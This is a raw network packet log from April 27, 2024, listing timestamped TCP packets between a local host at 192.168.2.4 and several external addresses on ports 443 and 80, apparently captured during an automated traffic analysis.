Apr 27, 2024 00:11:07.119551897 CEST	49734	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.119688034 CEST	49735	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.119719028 CEST	443	49735	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.119823933 CEST	49735	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.120045900 CEST	49736	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.120166063 CEST	443	49736	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.120237112 CEST	49736	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.120373964 CEST	49735	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.120389938 CEST	443	49735	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.120532036 CEST	49734	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.120543957 CEST	443	49734	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.120680094 CEST	49733	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.120696068 CEST	443	49733	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.120850086 CEST	49736	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.120887995 CEST	443	49736	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.389827013 CEST	443	49736	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.392642975 CEST	443	49733	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.392961025 CEST	443	49735	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.393059015 CEST	443	49734	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.393281937 CEST	49736	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.393325090 CEST	443	49736	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.393595934 CEST	49733	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.393611908 CEST	443	49733	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.393759966 CEST	49735	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.393802881 CEST	443	49735	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.394121885 CEST	49734	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.394136906 CEST	443	49734	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.394339085 CEST	443	49736	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.394428968 CEST	49736	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.394815922 CEST	443	49735	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.394872904 CEST	49735	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.395045996 CEST	443	49733	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.395100117 CEST	49733	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.395553112 CEST	443	49734	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.395603895 CEST	49734	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.396064043 CEST	49736	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.396146059 CEST	443	49736	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.397185087 CEST	49734	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.397268057 CEST	443	49734	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.397691965 CEST	49733	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.397774935 CEST	443	49733	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.398721933 CEST	49735	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.398806095 CEST	443	49735	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.399017096 CEST	49736	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.399034977 CEST	443	49736	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.399115086 CEST	49734	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.399122953 CEST	443	49734	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.399200916 CEST	49733	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.399209976 CEST	443	49733	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.399283886 CEST	49735	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.399301052 CEST	443	49735	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.514324903 CEST	49733	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.514331102 CEST	49736	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.514348030 CEST	49734	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.604162931 CEST	443	49735	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.607978106 CEST	49735	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.694892883 CEST	443	49733	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.695017099 CEST	443	49733	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.695074081 CEST	49733	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.695085049 CEST	443	49733	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.695255041 CEST	443	49733	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.695310116 CEST	49733	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.695318937 CEST	443	49733	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.697887897 CEST	443	49733	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.699969053 CEST	49733	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.945004940 CEST	443	49736	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.945100069 CEST	49736	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:07.945147991 CEST	443	49736	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.945175886 CEST	443	49736	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:07.945228100 CEST	49736	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:08.023225069 CEST	443	49735	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:08.023323059 CEST	49735	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:08.023407936 CEST	443	49735	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:08.023561954 CEST	443	49735	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:08.023616076 CEST	49735	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:08.075166941 CEST	443	49734	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:08.075256109 CEST	49734	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:08.075323105 CEST	443	49734	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:08.075548887 CEST	443	49734	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:08.075601101 CEST	49734	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:08.876461029 CEST	49736	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:08.876524925 CEST	443	49736	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:09.015358925 CEST	49734	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:09.015377045 CEST	443	49734	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:09.015721083 CEST	49735	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:09.015769958 CEST	443	49735	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:09.023428917 CEST	49739	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:09.023472071 CEST	443	49739	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:09.023529053 CEST	49739	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:09.023957014 CEST	49740	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:09.023976088 CEST	443	49740	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:09.024018049 CEST	49740	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:09.024178028 CEST	49733	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:09.024207115 CEST	443	49733	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:09.024691105 CEST	49739	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:09.024707079 CEST	443	49739	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:09.024849892 CEST	49740	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:09.024864912 CEST	443	49740	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:09.292917013 CEST	443	49740	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:09.294779062 CEST	49740	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:09.294795036 CEST	443	49740	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:09.295141935 CEST	443	49740	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:09.297713041 CEST	49740	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:09.297795057 CEST	443	49740	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:09.301078081 CEST	49740	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:09.348113060 CEST	443	49740	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:09.556895971 CEST	443	49740	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:09.557007074 CEST	443	49740	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:09.557050943 CEST	49740	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:09.557074070 CEST	443	49740	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:09.557208061 CEST	443	49740	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:09.557251930 CEST	49740	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:09.559118032 CEST	49740	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:09.559129000 CEST	443	49740	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:10.322303057 CEST	443	49739	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:10.322964907 CEST	49739	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:10.322982073 CEST	443	49739	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:10.323301077 CEST	443	49739	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:10.323971033 CEST	49739	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:10.324031115 CEST	443	49739	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:10.324417114 CEST	49739	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:10.368117094 CEST	443	49739	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:10.591114998 CEST	443	49739	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:10.591166019 CEST	443	49739	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:10.591218948 CEST	49739	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:10.591224909 CEST	443	49739	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:10.591238976 CEST	443	49739	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:10.591278076 CEST	49739	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:10.591300964 CEST	443	49739	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:10.591330051 CEST	443	49739	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:10.591391087 CEST	49739	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:10.592156887 CEST	49739	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:10.592174053 CEST	443	49739	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:10.883776903 CEST	49743	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:10.883810997 CEST	443	49743	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:10.883881092 CEST	49743	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:10.887692928 CEST	49743	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:10.887711048 CEST	443	49743	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:11.155656099 CEST	443	49743	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:11.155994892 CEST	49743	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:11.156025887 CEST	443	49743	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:11.160458088 CEST	443	49743	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:11.161072969 CEST	49743	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:11.161134005 CEST	443	49743	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:11.232657909 CEST	49743	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:17.632194996 CEST	49744	443	192.168.2.4	23.51.58.94
Apr 27, 2024 00:11:17.632236958 CEST	443	49744	23.51.58.94	192.168.2.4
Apr 27, 2024 00:11:17.632356882 CEST	49744	443	192.168.2.4	23.51.58.94
Apr 27, 2024 00:11:17.634654999 CEST	49744	443	192.168.2.4	23.51.58.94
Apr 27, 2024 00:11:17.634686947 CEST	443	49744	23.51.58.94	192.168.2.4
Apr 27, 2024 00:11:17.820878029 CEST	443	49744	23.51.58.94	192.168.2.4
Apr 27, 2024 00:11:17.820957899 CEST	49744	443	192.168.2.4	23.51.58.94
Apr 27, 2024 00:11:17.823379993 CEST	49744	443	192.168.2.4	23.51.58.94
Apr 27, 2024 00:11:17.823404074 CEST	443	49744	23.51.58.94	192.168.2.4
Apr 27, 2024 00:11:17.823662043 CEST	443	49744	23.51.58.94	192.168.2.4
Apr 27, 2024 00:11:17.882380962 CEST	49744	443	192.168.2.4	23.51.58.94
Apr 27, 2024 00:11:17.924123049 CEST	443	49744	23.51.58.94	192.168.2.4
Apr 27, 2024 00:11:17.999541044 CEST	443	49744	23.51.58.94	192.168.2.4
Apr 27, 2024 00:11:17.999744892 CEST	443	49744	23.51.58.94	192.168.2.4
Apr 27, 2024 00:11:17.999823093 CEST	49744	443	192.168.2.4	23.51.58.94
Apr 27, 2024 00:11:18.003947020 CEST	49744	443	192.168.2.4	23.51.58.94
Apr 27, 2024 00:11:18.003962994 CEST	443	49744	23.51.58.94	192.168.2.4
Apr 27, 2024 00:11:18.070913076 CEST	49745	443	192.168.2.4	23.51.58.94
Apr 27, 2024 00:11:18.070943117 CEST	443	49745	23.51.58.94	192.168.2.4
Apr 27, 2024 00:11:18.071007013 CEST	49745	443	192.168.2.4	23.51.58.94
Apr 27, 2024 00:11:18.071337938 CEST	49745	443	192.168.2.4	23.51.58.94
Apr 27, 2024 00:11:18.071351051 CEST	443	49745	23.51.58.94	192.168.2.4
Apr 27, 2024 00:11:18.254419088 CEST	443	49745	23.51.58.94	192.168.2.4
Apr 27, 2024 00:11:18.254499912 CEST	49745	443	192.168.2.4	23.51.58.94
Apr 27, 2024 00:11:18.257246017 CEST	49745	443	192.168.2.4	23.51.58.94
Apr 27, 2024 00:11:18.257261038 CEST	443	49745	23.51.58.94	192.168.2.4
Apr 27, 2024 00:11:18.257555962 CEST	443	49745	23.51.58.94	192.168.2.4
Apr 27, 2024 00:11:18.259737968 CEST	49745	443	192.168.2.4	23.51.58.94
Apr 27, 2024 00:11:18.304121971 CEST	443	49745	23.51.58.94	192.168.2.4
Apr 27, 2024 00:11:18.315268993 CEST	49746	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:18.315325975 CEST	443	49746	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:18.315407038 CEST	49746	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:18.317924023 CEST	49746	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:18.317955971 CEST	443	49746	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:18.431416035 CEST	443	49745	23.51.58.94	192.168.2.4
Apr 27, 2024 00:11:18.431487083 CEST	443	49745	23.51.58.94	192.168.2.4
Apr 27, 2024 00:11:18.431540966 CEST	49745	443	192.168.2.4	23.51.58.94
Apr 27, 2024 00:11:18.434242010 CEST	49745	443	192.168.2.4	23.51.58.94
Apr 27, 2024 00:11:18.434254885 CEST	443	49745	23.51.58.94	192.168.2.4
Apr 27, 2024 00:11:18.434264898 CEST	49745	443	192.168.2.4	23.51.58.94
Apr 27, 2024 00:11:18.434269905 CEST	443	49745	23.51.58.94	192.168.2.4
Apr 27, 2024 00:11:18.722620010 CEST	443	49746	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:18.722700119 CEST	49746	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:18.726171017 CEST	49746	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:18.726180077 CEST	443	49746	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:18.726428032 CEST	443	49746	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:18.779983044 CEST	49746	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:19.072185040 CEST	49746	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:19.120110035 CEST	443	49746	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:19.335490942 CEST	443	49746	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:19.335509062 CEST	443	49746	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:19.335520983 CEST	443	49746	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:19.335552931 CEST	443	49746	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:19.335587025 CEST	443	49746	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:19.335592031 CEST	49746	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:19.335596085 CEST	443	49746	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:19.335634947 CEST	443	49746	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:19.335661888 CEST	443	49746	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:19.335696936 CEST	49746	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:19.335696936 CEST	49746	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:19.335696936 CEST	49746	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:19.335696936 CEST	49746	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:19.335720062 CEST	443	49746	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:19.335763931 CEST	49746	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:19.336749077 CEST	49746	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:19.539745092 CEST	49746	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:19.539745092 CEST	49746	443	192.168.2.4	13.85.23.86
Apr 27, 2024 00:11:19.539824963 CEST	443	49746	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:19.539850950 CEST	443	49746	13.85.23.86	192.168.2.4
Apr 27, 2024 00:11:21.207325935 CEST	443	49743	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:21.207379103 CEST	443	49743	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:21.207567930 CEST	49743	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:21.469036102 CEST	49743	443	192.168.2.4	142.251.40.196
Apr 27, 2024 00:11:21.469063997 CEST	443	49743	142.251.40.196	192.168.2.4
Apr 27, 2024 00:11:24.317156076 CEST	80	49723	69.164.46.128	192.168.2.4
Apr 27, 2024 00:11:24.317394972 CEST	49723	80	192.168.2.4	69.164.46.128
Apr 27, 2024 00:11:24.944047928 CEST	49723	80	192.168.2.4	69.164.46.128
Apr 27, 2024 00:11:25.033011913 CEST	80	49723	69.164.46.128	192.168.2.4
Apr 27, 2024 00:11:33.065026999 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.065067053 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.065169096 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.066227913 CEST	49753	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.066287994 CEST	443	49753	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.066366911 CEST	49753	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.066855907 CEST	49753	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.066884995 CEST	443	49753	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.067194939 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.067212105 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.255532026 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.255930901 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.255949020 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.256855965 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.256932974 CEST	443	49753	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.256974936 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.261794090 CEST	49753	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.261853933 CEST	443	49753	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.262409925 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.262485981 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.262731075 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.262752056 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.263684988 CEST	443	49753	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.263756990 CEST	49753	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.266549110 CEST	49753	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.266627073 CEST	443	49753	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.310442924 CEST	49753	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.310452938 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.310476065 CEST	443	49753	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.358062983 CEST	49753	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.480560064 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.480626106 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.480653048 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.480676889 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.480706930 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.480731964 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.480756044 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.481086969 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.481138945 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.481167078 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.481215000 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.481245995 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.481266975 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.481271029 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.481278896 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.481348038 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.481980085 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.482009888 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.482038975 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.482042074 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.482053995 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.482095003 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.482114077 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.482122898 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.482153893 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.482589006 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.482665062 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.482672930 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.482702971 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.482739925 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.482770920 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.482784986 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.482793093 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.482831955 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.482839108 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.482883930 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.483546019 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.483654976 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.483680010 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.483701944 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.483724117 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.483823061 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.484112978 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.484225988 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.484255075 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.484286070 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.484294891 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.484302998 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.484392881 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.484401941 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.484462023 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.484781981 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.484817982 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.484869957 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.484889030 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.484899044 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.484942913 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.484950066 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.485555887 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.485663891 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.485718966 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.485738993 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.486010075 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.569016933 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.569093943 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.573782921 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.573878050 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.574031115 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.574099064 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.574389935 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.574486971 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.575643063 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.575732946 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.575812101 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.575959921 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.575973988 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.576049089 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.576411009 CEST	443	49752	104.21.47.203	192.168.2.4
Apr 27, 2024 00:11:33.576498985 CEST	49752	443	192.168.2.4	104.21.47.203
Apr 27, 2024 00:11:33.576930046 CEST	443	49752	104.21.47.203	192.168.2.4
